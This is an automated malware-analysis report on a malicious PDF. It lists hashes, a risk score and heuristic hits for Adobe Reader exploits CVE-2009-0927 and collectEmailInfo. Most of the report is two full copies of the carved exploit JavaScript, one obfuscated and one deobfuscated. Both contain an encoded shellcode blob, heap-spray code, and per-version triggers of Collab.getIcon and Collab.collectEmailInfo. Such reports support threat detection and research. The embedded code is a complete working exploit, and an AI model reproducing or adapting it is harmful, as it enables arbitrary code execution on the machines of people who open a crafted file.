Malicious PDF — malware analysis report

Static analysis result for SHA-256 e35a65fac8cae1d1…

MALICIOUS

PDF

200.8 KB Created: 2009-06-26 16:25:57 +08:00 Authoring application: Acrobat PDFMaker 7.0 for Word (via Acrobat Distiller 7.0 (Windows)) First seen: 2012-07-06
MD5: 9d3079737c3f822546be975d03ddde27 SHA-1: b3e040e511ddcd698992b33fc2faa2eaeae3e37b SHA-256: e35a65fac8cae1d1b29fcac7adf098177ba7a1d2ecbde0678113dbd18941e06c
170 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 6

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/photoshop/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0048_000.js pdf-javascript-stream PDF /JS object 48 at offset 0x50B 4544 bytes
SHA-256: 390f82b8ade7ae11c4040843e7c1fce5bae86614d8980847f7893c5aa0968462
Preview script
First 1,000 lines of the extracted script
var sc
for(i=0;i<18000;i++)
sc=sc+0x60
var unes=unescape//sjg'hs';[
var strTempA="\x62\x79\x74e\x54\x6f\x43\x68\x61\x72";
var strTempB="g\x65t\x49\x63\x6f\x6e";
var strTempC="c\x6fll\x65\x63\x74\x45\x6d\x61\x69lInfo";

function rep(count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
function myunes(buf) {
          var ret=""
          for (var x=0;x < buf["\x6c\x65\x6e\x67\x74\x68"]; x+=2) {
                  ret = ret+util[strTempA](Number('\x30x'+buf["\x73\x75\x62\x73\x74\x72"](x,2)));//
          }
          return ret;
}
sc=unes("\x25\x75\x34\x334\x31\x25\x75\x34b\x349\x25\x7511EB\x25\x755BFC\x25\x75334B\x25\x7566C9\x25\x75b0B9\x25\x758001\x25\x750B34\x25\x75E2f9"+
"\x25\x75EBFA\x25\x75E805\x25\x75FFEB\x25\x75FFFF\x25\x75F911\x25\x75F9F9\x25\x75A3F9\x25\x7572AC\x25\x757815\x25\x759D15\x25\x75F9FD\x25\x7572F9"+
"\x25\x75110D\x25\x75F869\x25\x75F9F9\x25\x750172\x25\x751611\x25\x75F9F9\x25\x7570F9\x25\x7506FF"+
"\x25\x7591CF\x25\x756254\x25\x752684\x25\x75ED11\x25\x75F9F8\x25\x7570F9\x25\x75F5BF\x25\x75CF06"+
"\x25\x75D091\x25\x753FEB\x25\x7511AF\x25\x75F8FC\x25\x75F9F9\x25\x75BF70\x25\x7506E9\x25\x7591CF"+
"%uC5A0%u82FE%u0F11\x25\x75F9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E\x25\x75F9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD\x25\x75F993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7\x25\x75F993%uF993"+
"\x25\x75F993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D\x25\x75F993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1\x25\x75F901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854\x25\x75F941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41\x25\x75F9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9\x25\x75F9F9%uAEAF%u0972%u3F78%uEBE9"+
"\x25\x75F9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0\x25\x75B0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06\x25\x7506B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9\x25\x75F9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7\x25\x75F1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941\x25\x75F9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC\x25\x75CFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81\x25\x75C72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD\x25\x750CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638\x25\x75FAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"\x25\x75397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"\x25\x75FAE5\x25\x75C724\x25\x75FD72\x25\x75FA72\x25\x75123C\x25\x75CAFB\x25\x757239\x25\x75A62C"+
"%uA4A7%u3BA2\x25\x75F9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
strTempD="\x73etTimeOu\x74"
function exp() {


blah = rep(128, unes("%u4242%u4242%u4242%u4242%u4242")) + sc;
bbk = unes("%u4242%u4242");
wap = 20+blah["l\x65\x6e\x67\x74\x68"]
while (bbk["l\x65\x6e\x67\x74\x68"]<wap) bbk+=bbk;
fillbk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, wap);
bk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, bbk["l\x65\x6e\x67\x74\x68"]-wap);
while(bk["l\x65\x6e\x67\x74\x68"]+wap<262144) bk = bk+bk+fillbk;
mm = new Array()//afha][]ajf
for (i=0;i<350;i++) mm[i] = bk + blah;
of = rep(4096, myunes("\x30a\x30a\x30a\x30a"));
var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];//next time
Collab[strTempB](of+a[0x0]);
}
var jkdhg=app
function start() 
{
if (app.viewerVersion >= 7.0)
{
plin =rep(1124,unes("\x25\x750b0b\x25\x750028\x25\x7506eb\x25\x7506eb")) + unes("\x25\x750b0b\x25\x750028\x25\x750aeb\x25\x750aeb") + unes("\x25\x754346\x25\x754a4b") + rep(122,unes("\x25\x750b0b\x25\x750028\x25\x7506eb\x25\x7506eb")) + sc  + rep(1256,unes("\x25\x754a4b\x25\x754748"));
} 
else 
{
blah = rep(128, unes("\x25\x754242\x25\x754242\x25\x754242\x25\x754242\x25\x754242")) +""+ sc
bbk = unes("\x25\x754242\x25\x754242");
wap = 20+blah["l\x65\x6e\x67\x74\x68"]
while (bbk["l\x65\x6e\x67\x74\x68"]<wap) bbk+=bbk;
fillbk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, wap);
bk = bbk["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, bbk["l\x65\x6e\x67\x74\x68"]-wap);
while(bk["l\x65\x6e\x67\x74\x68"]+wap<262144) bk = bk+bk+fillbk;
mm = new Array()//ahplgha[
for (i=0;i<250;i++) mm[i] = bk + blah;
plin = rep(8000, unes("\x25\x75\x30a\x30a\x25\x75\x30a\x30a"));

}
if (jkdhg["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"] >= 6.0)//gakghfvlgfal
{
 Collab[strTempC]({subj:0,msg:plin});
}
}

if(jkdhg["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"] >= 8.0)
{
          var shaft = jkdhg[strTempD]("exp()",12);
}
else{
var shaft = jkdhg[strTempD]("start()",1200);
}
js_property_alias_stage_000.js deobfuscated-js JavaScript property alias normalized stage at offset 0x50B 3585 bytes
SHA-256: 171db25ed3892bce166170a0530bcf78d1a55311f4ff8478a73aaee0d598d957
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var sc
for(i=0;i<18000;i++)
sc=sc+0x60
var unes=unescape//sjg'hs';[
var strTempA="byteToChar";
var strTempB="getIcon";
var strTempC="collectEmailInfo";

function rep(count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
function myunes(buf) {
          var ret=""
          for (var x=0;x < buf["length"]; x+=2) {
                  ret = ret+util[strTempA](Number('0x'+buf["substr"](x,2)));//
          }
          return ret;
}
sc=unes("%u4341%u4b49%u11EB%u5BFC%u334B%u66C9%ub0B9%u8001%u0B34%uE2f9"+
"%uEBFA%uE805%uFFEB%uFFFF%uF911%uF9F9%uA3F9%u72AC%u7815%u9D15%uF9FD%u72F9"+
"%u110D%uF869%uF9F9%u0172%u1611%uF9F9%u70F9%u06FF"+
"%u91CF%u6254%u2684%uED11%uF9F8%u70F9%uF5BF%uCF06"+
"%uD091%u3FEB%u11AF%uF8FC%uF9F9%uBF70%u06E9%u91CF"+
"%uC5A0%u82FE%u0F11%uF9F9%u70F9%uEDBF%uCF06%u8791"+
"%u1B21%u118A%uF91E%uF9F9%uBF70%uCACD%u1230%u72FA"+
"%uC5B7%u387A%uA8FD%uF993%u06A8%uF5AF%u7AA0%u0601"+
"%u098D%uB9C4%uF9E6%u8FF9%u7010%uC5B7%uF993%uF993"+
"%uF993%uFB93%uF993%u8F06%u06C5%uE9AF%uBF70%u7ABD"+
"%uF901%u328D%uF993%uF993%uF993%uFD93%u8F06%u06BD"+
"%uEDAF%uBF70%u7AB1%uF901%u4C8D%uC178%uA9DC%uBFBD"+
"%uB772%u8CC5%u7854%uF941%uF9EB%uA9F9%uA99D%u8CBD"+
"%u7858%uFD41%uF9EB%u16F9%u1307%u8C57%u406C%uFFF9"+
"%uF9F9%u1578%uF1F9%uF9F9%uAEAF%u0972%u3F78%uEBE9"+
"%uF9F9%u3D72%u397A%u72F1%u0A01%u405D%uFFF9%uF9F9"+
"%uB0B0%uB0B0%uCD78%u17F1%u0707%u7C16%u8C30%uA608"+
"%u06A7%uC58F%u8F06%u06B1%uBD8F%u1906%uAFAC%u589D"+
"%uF9C9%uF9F9%u397C%uEA81%u72C7%uF5B9%u72C7%uE589"+
"%u72C7%uF1A7%uC754%u9172%u12F1%uC7F4%uB972%uC7CD"+
"%u5172%uF941%uF9F9%u22CA%u3C72%uA4A7%uFD3B%uAAF9"+
"%uAFAC%uCFAE%u9572%uE1DD%u72CF%uC5BC%u72CF%uFCAD"+
"%uFA81%uC72C%uB372%uC7E1%uA372%uFAD9%u1A24%uB0C5"+
"%u72C7%u72CD%u0CFA%u06CA%uCA05%u5539%u3DC3%uFE8D"+
"%u3638%uFAF4%u1201%uCF0B%u85C2%uEDDD%u268C%u3B72"+
"%u397A%uC7DD%uE172%u24FA%uC79F%uF572%uC7B2%uA372"+
"%uFAE5%uC724%uFD72%uFA72%u123C%uCAFB%u7239%uA62C"+
"%uA4A7%u3BA2%uF9F1%uF911%uF9F9%uA1F9%u397A%u3AFC");
strTempD="setTimeOut"
function exp() {


blah = rep(128, unes("%u4242%u4242%u4242%u4242%u4242")) + sc;
bbk = unes("%u4242%u4242");
wap = 20+blah["length"]
while (bbk["length"]<wap) bbk+=bbk;
fillbk = bbk["substring"](0, wap);
bk = bbk["substring"](0, bbk["length"]-wap);
while(bk["length"]+wap<262144) bk = bk+bk+fillbk;
mm = new Array()//afha][]ajf
for (i=0;i<350;i++) mm[i] = bk + blah;
of = rep(4096, myunes("0a0a0a0a"));
var a=["_N.bundle"];//next time
Collab.getIcon(of+a[0x0]);
}
var jkdhg=app
function start() 
{
if (app.viewerVersion >= 7.0)
{
plin =rep(1124,unes("%u0b0b%u0028%u06eb%u06eb")) + unes("%u0b0b%u0028%u0aeb%u0aeb") + unes("%u4346%u4a4b") + rep(122,unes("%u0b0b%u0028%u06eb%u06eb")) + sc  + rep(1256,unes("%u4a4b%u4748"));
} 
else 
{
blah = rep(128, unes("%u4242%u4242%u4242%u4242%u4242")) +""+ sc
bbk = unes("%u4242%u4242");
wap = 20+blah["length"]
while (bbk["length"]<wap) bbk+=bbk;
fillbk = bbk["substring"](0, wap);
bk = bbk["substring"](0, bbk["length"]-wap);
while(bk["length"]+wap<262144) bk = bk+bk+fillbk;
mm = new Array()//ahplgha[
for (i=0;i<250;i++) mm[i] = bk + blah;
plin = rep(8000, unes("%u0a0a%u0a0a"));

}
if (jkdhg["viewerVersion"] >= 6.0)//gakghfvlgfal
{
 Collab.collectEmailInfo({subj:0,msg:plin});
}
}

if(jkdhg["viewerVersion"] >= 8.0)
{
          var shaft = jkdhg[strTempD]("exp()",12);
}
else{
var shaft = jkdhg[strTempD]("start()",1200);
}
/* static-property-alias-sinks */
unescape('%u9090%u9090');Collab.getIcon(
unescape('%u9090%u9090');Collab.collectEmailInfo(

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